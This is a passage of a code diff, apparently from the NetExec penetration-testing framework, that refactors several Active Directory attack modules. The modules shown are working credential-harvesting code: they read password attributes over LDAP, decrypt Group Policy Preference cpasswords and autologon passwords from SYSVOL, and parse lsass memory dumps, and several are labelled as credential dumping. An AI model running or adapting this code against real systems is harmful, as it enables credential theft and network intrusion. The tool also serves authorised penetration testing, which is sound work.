|
||||
dr = DNS_RECORD(record)
|
||||
if dr["Type"] == A:
|
||||
address = DNS_RPC_RECORD_A(dr["Data"])
|
||||
if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
|
||||
outdata.append(
|
||||
@@ -159,17 +113,18 @@ class NXCModule:
|
||||
"value": address.formatCanonical(),
|
||||
}
|
||||
)
|
||||
if dr["Type"] in [a for a in RECORD_TYPE_MAPPING if RECORD_TYPE_MAPPING[a] in ["CNAME", "NS", "PTR"]]:
|
||||
# Skip without "ALL" and "ONLY_HOSTS" => only IPs
|
||||
elif dr["Type"] in [CNAME, NS, PTR] and (self.showall or self.showhosts):
|
||||
address = DNS_RPC_RECORD_NODE_NAME(dr["Data"])
|
||||
if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
|
||||
outdata.append(
|
||||
{
|
||||
"name": recordname,
|
||||
"type": RECORD_TYPE_MAPPING[dr["Type"]],
|
||||
"value": address[next(iter(address.fields))].toFqdn(),
|
||||
"value": address["nameNode"].toFqdn(),
|
||||
}
|
||||
)
|
||||
elif dr["Type"] == 28:
|
||||
elif dr["Type"] == AAAA:
|
||||
address = DNS_RPC_RECORD_AAAA(dr["Data"])
|
||||
if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
|
||||
outdata.append(
|
||||
@@ -180,14 +135,19 @@ class NXCModule:
|
||||
}
|
||||
)
|
||||
|
||||
# Filter duplicate IPs if "ALL" and "ONLY_HOSTS" are not set
|
||||
if not (self.showall or self.showhosts):
|
||||
seen_ips = set()
|
||||
outdata = [x for x in outdata if not (x["value"] in seen_ips or seen_ips.add(x["value"]))]
|
||||
|
||||
context.log.highlight(f"Found {len(outdata)} records")
|
||||
path = expanduser(f"~/.nxc/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
|
||||
with codecs.open(path, "w", "utf-8") as outfile:
|
||||
path = expanduser(f"{NXC_PATH}/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
|
||||
with open(path, "w") as outfile:
|
||||
for row in outdata:
|
||||
if self.showhosts:
|
||||
outfile.write(f"{row['name'] + '.' + connection.domain}\n")
|
||||
outfile.write(f"{row['name'] + '.' + zone}\n")
|
||||
elif self.showall:
|
||||
outfile.write(f"{row['name'] + '.' + connection.domain} \t {row['value']}\n")
|
||||
outfile.write(f"{row['name'] + '.' + zone} \t {row['value']}\n")
|
||||
else:
|
||||
outfile.write(f"{row['value']}\n")
|
||||
context.log.success(f"Dumped {len(outdata)} records to {path}")
|
||||
|
||||
@@ -0,0 +1,66 @@
|
||||
import json
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Get the scriptPath attribute of users
|
||||
|
||||
Module by @wyndoo
|
||||
"""
|
||||
name = "get-scriptpath"
|
||||
description = "Get the scriptPath attribute of all users."
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
FILTER Apply the FILTER (grep-like) (default: '')
|
||||
OUTPUTFILE Path to a file to save the results (default: None)
|
||||
"""
|
||||
self.filter = ""
|
||||
self.outputfile = None
|
||||
|
||||
if "FILTER" in module_options:
|
||||
self.filter = module_options["FILTER"]
|
||||
|
||||
if "OUTPUTFILE" in module_options:
|
||||
self.outputfile = module_options["OUTPUTFILE"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
# Building the search filter
|
||||
resp = connection.search(
|
||||
searchFilter="(scriptPath=*)",
|
||||
attributes=["sAMAccountName", "scriptPath"]
|
||||
)
|
||||
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
answers = parse_result_attributes(resp)
|
||||
context.log.debug(f"Filtering for scriptPath containing: {self.filter}")
|
||||
filtered_answers = list(filter(lambda x: self.filter in x["scriptPath"], answers))
|
||||
|
||||
if filtered_answers:
|
||||
context.log.success("Found the following attributes: ")
|
||||
for answer in filtered_answers:
|
||||
context.log.highlight(f"User: {answer['sAMAccountName']:<20} ScriptPath: {answer['scriptPath']}")
|
||||
|
||||
# Save the results to a file
|
||||
if self.outputfile:
|
||||
self.save_to_file(context, filtered_answers)
|
||||
else:
|
||||
context.log.fail("No results found after filtering.")
|
||||
|
||||
def save_to_file(self, context, answers):
|
||||
"""Save the results to a JSON file."""
|
||||
try:
|
||||
# Format answers as a list of dictionaries for JSON output
|
||||
json_data = [{"sAMAccountName": answer["sAMAccountName"], "scriptPath": answer["scriptPath"]} for answer in answers]
|
||||
|
||||
# Save the JSON data to the specified file
|
||||
with open(self.outputfile, "w") as f:
|
||||
json.dump(json_data, f, indent=4)
|
||||
context.log.success(f"Results successfully saved to {self.outputfile}")
|
||||
|
||||
except Exception as e:
|
||||
context.log.error(f"Failed to save results to file: {e}")
|
||||
@@ -1,4 +1,5 @@
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
@@ -12,8 +13,7 @@ class NXCModule:
|
||||
name = "get-unixUserPassword"
|
||||
description = "Get unixUserPassword attribute from all users in ldap"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
@@ -12,8 +13,7 @@ class NXCModule:
|
||||
name = "get-userPassword"
|
||||
description = "Get userPassword attribute from all users in ldap"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -41,6 +41,6 @@ class NXCModule:
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
context.log.success("Found following users: ")
|
||||
for user in resp_parsed:
|
||||
context.log.highlight(f"User: {user['sAMAccountName']} unixUserPassword: {user['userPassword']}")
|
||||
context.log.highlight(f"User: {user['sAMAccountName']} userPassword: {user['userPassword']}")
|
||||
else:
|
||||
context.log.fail("No unixUserPassword Found")
|
||||
context.log.fail("No userPassword Found")
|
||||
@@ -1,5 +1,7 @@
|
||||
from datetime import datetime
|
||||
from nxc.helpers.logger import write_log
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.paths import NXC_PATH
|
||||
import json
|
||||
|
||||
|
||||
@@ -13,15 +15,14 @@ class NXCModule:
|
||||
name = "get_netconnections"
|
||||
description = "Uses WMI to query network connections."
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options"""
|
||||
"""No options available"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
data = []
|
||||
cards = connection.wmi("select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration")
|
||||
cards = connection.wmi_query("select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration")
|
||||
if cards:
|
||||
for c in cards:
|
||||
if c["IPAddress"].get("value"):
|
||||
@@ -31,4 +32,4 @@ class NXCModule:
|
||||
|
||||
log_name = f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
|
||||
write_log(json.dumps(data), log_name)
|
||||
context.log.display(f"Saved raw output to ~/.nxc/logs/{log_name}")
|
||||
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
|
||||
@@ -1,5 +1,6 @@
|
||||
import xml.etree.ElementTree as ET
|
||||
from io import BytesIO
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -11,49 +12,43 @@ class NXCModule:
|
||||
name = "gpp_autologin"
|
||||
description = "Searches the domain controller for registry.xml to find autologon information and returns the username and password."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
"""No options available."""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
shares = connection.shares()
|
||||
for share in shares:
|
||||
if share["name"] == "SYSVOL" and "READ" in share["access"]:
|
||||
context.log.success("Found SYSVOL share")
|
||||
context.log.display("Searching for Registry.xml")
|
||||
context.log.display("Searching SYSVOL share for Registry.xml")
|
||||
|
||||
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
|
||||
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
|
||||
for path in paths:
|
||||
context.log.display(f"Found {path}")
|
||||
|
||||
for path in paths:
|
||||
context.log.display(f"Found {path}")
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
xml = ET.fromstring(buf.getvalue())
|
||||
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
xml = ET.fromstring(buf.getvalue())
|
||||
if xml.findall('.//Properties[@name="DefaultPassword"]'):
|
||||
usernames = []
|
||||
passwords = []
|
||||
domains = []
|
||||
|
||||
if xml.findall('.//Properties[@name="DefaultPassword"]'):
|
||||
usernames = []
|
||||
passwords = []
|
||||
domains = []
|
||||
xml_section = xml.findall(".//Properties")
|
||||
|
||||
xml_section = xml.findall(".//Properties")
|
||||
for section in xml_section:
|
||||
attrs = section.attrib
|
||||
|
||||
for section in xml_section:
|
||||
attrs = section.attrib
|
||||
if attrs["name"] == "DefaultPassword":
|
||||
passwords.append(attrs["value"])
|
||||
|
||||
if attrs["name"] == "DefaultPassword":
|
||||
passwords.append(attrs["value"])
|
||||
if attrs["name"] == "DefaultUserName":
|
||||
usernames.append(attrs["value"])
|
||||
|
||||
if attrs["name"] == "DefaultUserName":
|
||||
usernames.append(attrs["value"])
|
||||
if attrs["name"] == "DefaultDomainName":
|
||||
domains.append(attrs["value"])
|
||||
|
||||
if attrs["name"] == "DefaultDomainName":
|
||||
domains.append(attrs["value"])
|
||||
|
||||
if usernames or passwords:
|
||||
context.log.success(f"Found credentials in {path}")
|
||||
context.log.highlight(f"Usernames: {usernames}")
|
||||
context.log.highlight(f"Domains: {domains}")
|
||||
context.log.highlight(f"Passwords: {passwords}")
|
||||
if usernames or passwords:
|
||||
context.log.success(f"Found credentials in {path}")
|
||||
context.log.highlight(f"Usernames: {usernames}")
|
||||
context.log.highlight(f"Domains: {domains}")
|
||||
context.log.highlight(f"Passwords: {passwords}")
|
||||
+60
-64
@@ -3,6 +3,7 @@ from Cryptodome.Cipher import AES
|
||||
from base64 import b64decode
|
||||
from binascii import unhexlify
|
||||
from io import BytesIO
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -14,88 +15,83 @@ class NXCModule:
|
||||
name = "gpp_password"
|
||||
description = "Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
"""No options available"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
shares = connection.shares()
|
||||
for share in shares:
|
||||
if share["name"] == "SYSVOL" and "READ" in share["access"]:
|
||||
context.log.success("Found SYSVOL share")
|
||||
context.log.display("Searching for potential XML files containing passwords")
|
||||
context.log.display("Searching SYSVOL share for potential XML files containing passwords")
|
||||
|
||||
paths = connection.spider(
|
||||
"SYSVOL",
|
||||
pattern=[
|
||||
"Groups.xml",
|
||||
"Services.xml",
|
||||
"Scheduledtasks.xml",
|
||||
"DataSources.xml",
|
||||
"Printers.xml",
|
||||
"Drives.xml",
|
||||
],
|
||||
)
|
||||
paths = connection.spider(
|
||||
"SYSVOL",
|
||||
pattern=[
|
||||
"Groups.xml",
|
||||
"Services.xml",
|
||||
"Scheduledtasks.xml",
|
||||
"DataSources.xml",
|
||||
"Printers.xml",
|
||||
"Drives.xml",
|
||||
],
|
||||
)
|
||||
|
||||
for path in paths:
|
||||
context.log.display(f"Found {path}")
|
||||
for path in paths:
|
||||
context.log.display(f"Found {path}")
|
||||
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
xml = ET.fromstring(buf.getvalue())
|
||||
sections = []
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
xml = ET.fromstring(buf.getvalue())
|
||||
sections = []
|
||||
|
||||
if "Groups.xml" in path:
|
||||
sections.append("./User/Properties")
|
||||
if "Groups.xml" in path:
|
||||
sections.append("./User/Properties")
|
||||
|
||||
elif "Services.xml" in path:
|
||||
sections.append("./NTService/Properties")
|
||||
elif "Services.xml" in path:
|
||||
sections.append("./NTService/Properties")
|
||||
|
||||
elif "ScheduledTasks.xml" in path:
|
||||
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
|
||||
elif "ScheduledTasks.xml" in path:
|
||||
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
|
||||
|
||||
elif "DataSources.xml" in path:
|
||||
sections.append("./DataSource/Properties")
|
||||
elif "DataSources.xml" in path:
|
||||
sections.append("./DataSource/Properties")
|
||||
|
||||
elif "Printers.xml" in path:
|
||||
sections.append("./SharedPrinter/Properties")
|
||||
elif "Printers.xml" in path:
|
||||
sections.append("./SharedPrinter/Properties")
|
||||
|
||||
elif "Drives.xml" in path:
|
||||
sections.append("./Drive/Properties")
|
||||
elif "Drives.xml" in path:
|
||||
sections.append("./Drive/Properties")
|
||||
|
||||
for section in sections:
|
||||
xml_section = xml.findall(section)
|
||||
for attr in xml_section:
|
||||
props = attr.attrib
|
||||
for section in sections:
|
||||
xml_section = xml.findall(section)
|
||||
for attr in xml_section:
|
||||
props = attr.attrib
|
||||
|
||||
if "cpassword" in props:
|
||||
for user_tag in [
|
||||
"userName",
|
||||
"accountName",
|
||||
"runAs",
|
||||
"username",
|
||||
]:
|
||||
if user_tag in props:
|
||||
username = props[user_tag]
|
||||
if "cpassword" in props:
|
||||
for user_tag in [
|
||||
"userName",
|
||||
"accountName",
|
||||
"runAs",
|
||||
"username",
|
||||
]:
|
||||
if user_tag in props:
|
||||
username = props[user_tag]
|
||||
|
||||
password = self.decrypt_cpassword(props["cpassword"])
|
||||
password = self.decrypt_cpassword(props["cpassword"])
|
||||
|
||||
context.log.success(f"Found credentials in {path}")
|
||||
context.log.highlight(f"Password: {password}")
|
||||
for k, v in props.items():
|
||||
if k != "cpassword":
|
||||
context.log.highlight(f"{k}: {v}")
|
||||
context.log.success(f"Found credentials in {path}")
|
||||
context.log.highlight(f"Password: {password}")
|
||||
for k, v in props.items():
|
||||
if k != "cpassword":
|
||||
context.log.highlight(f"{k}: {v}")
|
||||
|
||||
hostid = context.db.get_hosts(connection.host)[0][0]
|
||||
context.db.add_credential(
|
||||
"plaintext",
|
||||
"",
|
||||
username,
|
||||
password,
|
||||
pillaged_from=hostid,
|
||||
)
|
||||
hostid = context.db.get_hosts(connection.host)[0][0]
|
||||
context.db.add_credential(
|
||||
"plaintext",
|
||||
"",
|
||||
username,
|
||||
password,
|
||||
pillaged_from=hostid,
|
||||
)
|
||||
|
||||
def decrypt_cpassword(self, cpassword):
|
||||
# Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385
|
||||
|
||||
@@ -0,0 +1,234 @@
|
||||
import re
|
||||
from io import BytesIO
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module to retrieve privileges assigned via Group Policy Objects (GPOs) by parsing GptTmpl.inf files
|
||||
and resolving SIDs using LDAP.
|
||||
"""
|
||||
|
||||
name = "gpp_privileges"
|
||||
description = "Extracts privileges assigned via GPOs and resolves SIDs via LDAP."
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
WELL_KNOWN_SIDS = {
|
||||
"S-1-0": "Null Authority",
|
||||
"S-1-0-0": "Nobody",
|
||||
"S-1-1": "World Authority",
|
||||
"S-1-1-0": "Everyone",
|
||||
"S-1-2": "Local Authority",
|
||||
"S-1-2-0": "Local",
|
||||
"S-1-2-1": "Console Logon",
|
||||
"S-1-3": "Creator Authority",
|
||||
"S-1-3-0": "Creator Owner",
|
||||
"S-1-3-1": "Creator Group",
|
||||
"S-1-3-2": "Creator Owner Server",
|
||||
"S-1-3-3": "Creator Group Server",
|
||||
"S-1-3-4": "Owner Rights",
|
||||
"S-1-5-80-0": "All Services",
|
||||
"S-1-4": "Non-unique Authority",
|
||||
"S-1-5": "NT Authority",
|
||||
"S-1-5-1": "Dialup",
|
||||
"S-1-5-2": "Network",
|
||||
"S-1-5-3": "Batch",
|
||||
"S-1-5-4": "Interactive",
|
||||
"S-1-5-6": "Service",
|
||||
"S-1-5-7": "Anonymous",
|
||||
"S-1-5-8": "Proxy",
|
||||
"S-1-5-9": "Enterprise Domain Controllers",
|
||||
"S-1-5-10": "Principal Self",
|
||||
"S-1-5-11": "Authenticated Users",
|
||||
"S-1-5-12": "Restricted Code",
|
||||
"S-1-5-13": "Terminal Server Users",
|
||||
"S-1-5-14": "Remote Interactive Logon",
|
||||
"S-1-5-15": "This Organization",
|
||||
"S-1-5-17": "This Organization",
|
||||
"S-1-5-18": "Local System",
|
||||
"S-1-5-19": "NT Authority",
|
||||
"S-1-5-20": "NT Authority",
|
||||
"S-1-5-32-544": "Administrators",
|
||||
"S-1-5-32-545": "Users",
|
||||
"S-1-5-32-546": "Guests",
|
||||
"S-1-5-32-547": "Power Users",
|
||||
"S-1-5-32-548": "Account Operators",
|
||||
"S-1-5-32-549": "Server Operators",
|
||||
"S-1-5-32-550": "Print Operators",
|
||||
"S-1-5-32-551": "Backup Operators",
|
||||
"S-1-5-32-552": "Replicators",
|
||||
"S-1-5-64-10": "NTLM Authentication",
|
||||
"S-1-5-64-14": "SChannel Authentication",
|
||||
"S-1-5-64-21": "Digest Authority",
|
||||
"S-1-5-80": "NT Service",
|
||||
"S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines",
|
||||
"S-1-16-0": "Untrusted Mandatory Level",
|
||||
"S-1-16-4096": "Low Mandatory Level",
|
||||
"S-1-16-8192": "Medium Mandatory Level",
|
||||
"S-1-16-8448": "Medium Plus Mandatory Level",
|
||||
"S-1-16-12288": "High Mandatory Level",
|
||||
"S-1-16-16384": "System Mandatory Level",
|
||||
"S-1-16-20480": "Protected Process Mandatory Level",
|
||||
"S-1-16-28672": "Secure Process Mandatory Level",
|
||||
"S-1-5-32-554": "BUILTIN\\Pre-Windows 2000 Compatible Access",
|
||||
"S-1-5-32-555": "BUILTIN\\Remote Desktop Users",
|
||||
"S-1-5-32-557": "BUILTIN\\Incoming Forest Trust Builders",
|
||||
"S-1-5-32-556": "BUILTIN\\Network Configuration Operators",
|
||||
"S-1-5-32-558": "BUILTIN\\Performance Monitor Users",
|
||||
"S-1-5-32-559": "BUILTIN\\Performance Log Users",
|
||||
"S-1-5-32-560": "BUILTIN\\Windows Authorization Access Group",
|
||||
"S-1-5-32-561": "BUILTIN\\Terminal Server License Servers",
|
||||
"S-1-5-32-562": "BUILTIN\\Distributed COM Users",
|
||||
"S-1-5-32-569": "BUILTIN\\Cryptographic Operators",
|
||||
"S-1-5-32-573": "BUILTIN\\Event Log Readers",
|
||||
"S-1-5-32-574": "BUILTIN\\Certificate Service DCOM Access",
|
||||
"S-1-5-32-575": "BUILTIN\\RDS Remote Access Servers",
|
||||
"S-1-5-32-576": "BUILTIN\\RDS Endpoint Servers",
|
||||
"S-1-5-32-577": "BUILTIN\\RDS Management Servers",
|
||||
"S-1-5-32-578": "BUILTIN\\Hyper-V Administrators",
|
||||
"S-1-5-32-579": "BUILTIN\\Access Control Assistance Operators",
|
||||
"S-1-5-32-580": "BUILTIN\\Remote Management Users",
|
||||
}
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""NO_LDAP If set to True, disables LDAP queries for resolving SIDs."""
|
||||
self.no_ldap = module_options.get("NO_LDAP", False)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
try:
|
||||
connection.conn.listPath("SYSVOL", "*")
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Failed to list shares: {e}")
|
||||
return
|
||||
|
||||
self.context.log.display("Searching for GptTmpl.inf files")
|
||||
paths = connection.spider("SYSVOL", pattern=["GptTmpl.inf"])
|
||||
|
||||
if not paths:
|
||||
self.context.log.warning("No GptTmpl.inf files found in SYSVOL.")
|
||||
return
|
||||
|
||||
for path in paths:
|
||||
if "6AC1786C-016F-11D2-945F-00C04fB984F9" in path: # Default Domain Policy
|
||||
self.context.log.success(f"Found Default Domain Policy GptTmpl.inf: {path}")
|
||||
else:
|
||||
self.context.log.info(f"Found GptTmpl.inf: {path}")
|
||||
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
|
||||
try:
|
||||
content = buf.getvalue().decode("utf-16le")
|
||||
except UnicodeDecodeError as e:
|
||||
self.context.log.error(f"Failed to decode {path} as UTF-16LE: {e}")
|
||||
continue
|
||||
|
||||
privileges = self.extract_privileges(content)
|
||||
if privileges:
|
||||
ldap_connection = None
|
||||
base_dn = None
|
||||
if not self.no_ldap:
|
||||
ldap_connection = self.initialize_ldap_connection(connection)
|
||||
base_dn = self.get_basedn(ldap_connection)
|
||||
|
||||
self.context.log.success(f"Privileges extracted from {path}:")
|
||||
for privilege, sids in privileges.items():
|
||||
resolved_sids = [self.resolve_sid(sid, ldap_connection, base_dn) for sid in sids]
|
||||
self.context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}")
|
||||
|
||||
if ldap_connection:
|
||||
ldap_connection.close()
|
||||
|
||||
def get_basedn(self, ldap_connection):
|
||||
root = ldap_connection.search(
|
||||
scope=ldapasn1_impacket.Scope("baseObject"),
|
||||
attributes=["defaultNamingContext"],
|
||||
sizeLimit=0,
|
||||
)
|
||||
return parse_result_attributes(root)[0]["defaultNamingContext"]
|
||||
|
||||
def extract_privileges(self, content):
|
||||
"""Parses the content of GptTmpl.inf to extract privilege rights."""
|
||||
privileges = {}
|
||||
in_priv_section = False
|
||||
|
||||
for line in content.splitlines():
|
||||
if line.strip() == "[Privilege Rights]":
|
||||
in_priv_section = True
|
||||
continue
|
||||
if in_priv_section and line.strip() == "":
|
||||
break
|
||||
if in_priv_section:
|
||||
match = re.match(r"^(.*?)\s*=\s*(.*)$", line)
|
||||
if match:
|
||||
privilege, sids = match.groups()
|
||||
privileges[privilege] = [sid.strip("*") for sid in sids.split(",")]
|
||||
|
||||
return privileges
|
||||
|
||||
def initialize_ldap_connection(self, connection):
|
||||
"""
|
||||
Initializes an LDAP connection using impacket with LDAPS first, then falls back to plaintext LDAP if LDAPS fails.
|
||||
Attempts to retrieve the base DN from the Root DSE or derive it from the domain name.
|
||||
"""
|
||||
ldap_connection = None
|
||||
try:
|
||||
ldap_connection = ldap_impacket.LDAPConnection(url=f"ldap://{connection.remoteName}", dstIp=connection.host)
|
||||
if connection.kerberos:
|
||||
ldap_connection.kerberosLogin(
|
||||
connection.username,
|
||||
connection.password or "",
|
||||
connection.domain,
|
||||
connection.lmhash,
|
||||
connection.nthash,
|
||||
connection.aesKey or "",
|
||||
kdcHost=connection.kdcHost,
|
||||
useCache=bool(connection.use_kcache),
|
||||
)
|
||||
else:
|
||||
ldap_connection.login(
|
||||
user=connection.username,
|
||||
password=connection.password or "",
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
)
|
||||
self.context.log.success("Connected to LDAP.")
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"LDAP connection failed: {e}")
|
||||
return None
|
||||
return ldap_connection
|
||||
|
||||
def resolve_sid(self, sid, ldap_connection, base_dn):
|
||||
"""Resolves a SID to a human-readable name using well-known mappings or LDAP queries."""
|
||||
if sid in self.WELL_KNOWN_SIDS:
|
||||
return self.WELL_KNOWN_SIDS[sid]
|
||||
|
||||
if ldap_connection:
|
||||
try:
|
||||
resp = ldap_connection.search(
|
||||
searchBase=base_dn,
|
||||
searchFilter=f"(objectSid={sid})",
|
||||
attributes=["sAMAccountName"],
|
||||
)
|
||||
parsed_result = parse_result_attributes(resp)
|
||||
if parsed_result and "sAMAccountName" in parsed_result[0]:
|
||||
return f"{parsed_result[0]['sAMAccountName']}"
|
||||
else:
|
||||
self.context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
|
||||
|
||||
except ldap_impacket.LDAPSearchError:
|
||||
self.context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
|
||||
except ldap_impacket.LDAPFilterSyntaxError:
|
||||
self.context.log.warning(f"Invalid LDAP filter syntax for SID {sid}. Returning raw SID.")
|
||||
except Exception as e:
|
||||
self.context.log.error(f"Failed while resolving SID {sid} via LDAP: {e}")
|
||||
else:
|
||||
self.context.log.warning(f"LDAP connection not established. Returning raw SID: {sid}")
|
||||
|
||||
return sid
|
||||
@@ -1,5 +1,6 @@
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
import sys
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -13,8 +14,8 @@ class NXCModule:
|
||||
name = "group-mem"
|
||||
description = "[REMOVED] Retrieves all the members within a Group"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
primaryGroupID = ""
|
||||
answers = []
|
||||
|
||||
@@ -36,7 +37,7 @@ class NXCModule:
|
||||
sys.exit(1)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.logger.fail("[REMOVED] Use the ldap flag '--groups \"Administrators\"' instead of the module group-mem.")
|
||||
context.log.fail("[REMOVED] Use the ldap flag '--groups \"Administrators\"' instead of the module group-mem.")
|
||||
return None
|
||||
|
||||
# First look up the SID of the group passed in
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
import sys
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -15,8 +16,7 @@ class NXCModule:
|
||||
name = "groupmembership"
|
||||
description = "Query the groups to which a user belongs."
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""USER Choose a username to query group membership"""
|
||||
|
||||
+10
-13
@@ -7,6 +7,7 @@ import re
|
||||
import sys
|
||||
from datetime import datetime
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from pypykatz.pypykatz import pypykatz
|
||||
|
||||
|
||||
@@ -14,8 +15,7 @@ class NXCModule:
|
||||
name = "handlekatz"
|
||||
description = "Get lsass dump using handlekatz64 and parse the result with pypykatz"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = False
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
r"""
|
||||
@@ -126,20 +126,17 @@ class NXCModule:
|
||||
except Exception as e:
|
||||
context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on share {self.share}: {e}")
|
||||
|
||||
h_in = open(self.dir_result + machine_name, "rb") # noqa: SIM115
|
||||
h_out = open(self.dir_result + machine_name + ".decode", "wb") # noqa: SIM115
|
||||
with open(self.dir_result + machine_name, "rb") as h_in, open(self.dir_result + machine_name + ".decode", "wb") as h_out:
|
||||
bytes_in = bytearray(h_in.read())
|
||||
|
||||
bytes_in = bytearray(h_in.read())
|
||||
bytes_in_len = len(bytes_in)
|
||||
context.log.display(f"Deobfuscating, this might take a while (size: {len(bytes_in)} bytes)")
|
||||
|
||||
context.log.display(f"Deobfuscating, this might take a while (size: {bytes_in_len} bytes)")
|
||||
chunks = [bytes_in[i: i + 1000000] for i in range(0, len(bytes_in), 1000000)]
|
||||
for chunk in chunks:
|
||||
for i in range(len(chunk)):
|
||||
chunk[i] ^= 0x41
|
||||
|
||||
chunks = [bytes_in[i: i + 1000000] for i in range(0, bytes_in_len, 1000000)]
|
||||
for chunk in chunks:
|
||||
for i in range(len(chunk)):
|
||||
chunk[i] ^= 0x41
|
||||
|
||||
h_out.write(bytes(chunk))
|
||||
h_out.write(bytes(chunk))
|
||||
|
||||
with open(self.dir_result + machine_name + ".decode", "rb") as dump:
|
||||
try:
|
||||
|
||||
@@ -8,6 +8,7 @@ from lsassy.dumper import Dumper
|
||||
from lsassy.parser import Parser
|
||||
from lsassy.session import Session
|
||||
